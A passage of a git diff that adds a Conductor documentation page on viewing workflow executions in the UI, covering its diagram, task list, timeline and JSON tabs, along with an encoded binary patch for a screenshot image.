specify a list of ongoing workflows. Then, use the Bulk Restart API (`POST /api/workflow/bulk/restart`) to restart the terminated workflows. \ No newline at end of file diff --git a/docs/devguide/how-tos/Workflows/viewing-workflow-executions.md b/docs/devguide/how-tos/Workflows/viewing-workflow-executions.md new file mode 100644 index 0000000..2ab9449 --- /dev/null +++ b/docs/devguide/how-tos/Workflows/viewing-workflow-executions.md @@ -0,0 +1,57 @@ +--- +description: "Viewing Workflow Executions — inspect Conductor workflow runs with visual diagrams, task timelines, and input/output data." +--- +# Viewing Workflow Executions + +The Conductor UI provides a convenient interface for viewing workflow executions as visual diagrams. You can view workflow executions: + +- In **[Executions](http://localhost:8080/executions)**, after [searching for workflows](searching-workflows.md). +- In **[Workbench](http://localhost:8080/workbench)** > **Execution History** + +**To view a workflow execution:** + +In **[Executions](http://localhost:8080/executions)** or **[Workbench](http://localhost:8080/workbench)**, select the Workflow ID hyperlink. + + +## Workflow execution details + +The following tabs are available for each workflow execution: + +| Tab Name | Description | +|----------------------------|-------------------------------------------------------------------------------------------------------------------| +| **Tasks** > **Diagram** | Visual diagram of the workflow and its tasks. | +| **Tasks** > **Task List** | List of the task executions in this workflow, including details like the task name, task ID, status, and so on. | +| **Tasks** > **Timeline** | Timeline showcasing the duration and sequence of each task in the workflow. | +| **Summary** | Summary view of the workflow execution, which includes the workflow ID, status, duration, and so on. | +| **Workflow Input/Output** | View of the JSON payload for the workflow inputs, outputs, and variables. | +| **JSON** | View of the full workflow execution JSON, including all tasks, inputs, outputs, and so on. | + + +### Workflow diagram view + +In **Tasks** > **Diagram**, you can view the workflow's exact execution path. The executed paths are shown in green and while other alternative paths are greyed out. + +![Workflow diagram in the Conductor UI.](execution_path.png) + +Each task status will also be clearly marked, highlighting any task errors. + +![Task statuses are visually represented in the workflow diagram.](workflow-task-states.jpg) + +### Task execution details + +You can also view a task's execution details by selecting a task from the following tabs: + +- **Tasks** > **Diagram** +- **Tasks** > **Task List** +- **Tasks** > **Timeline** + +This action opens a left-side panel that contains the following tabs: + +| Tab Name | Description | +|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------| +| **Summary** | Summary view of the task execution, which includes the task execution ID, status, duration, and so | +| **Input** | View of the JSON payload for the task inputs. | +| **Output** | View of the JSON payload for the task outputs. | +| **Logs** | View of the log messages logged by the task, if any. | +| **JSON** | View of the full task execution JSON, including retry count, start time, worker ID, and so on. | +| **Definition** | View of the task configuration used when executing the task. | \ No newline at end of file diff --git a/docs/devguide/how-tos/Workflows/workflow-task-states.jpg b/docs/devguide/how-tos/Workflows/workflow-task-states.jpg new file mode 100644 index 0000000000000000000000000000000000000000..24402fade58ab4baf2ab7542b8ba233db727f104 GIT binary patch literal 188324 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 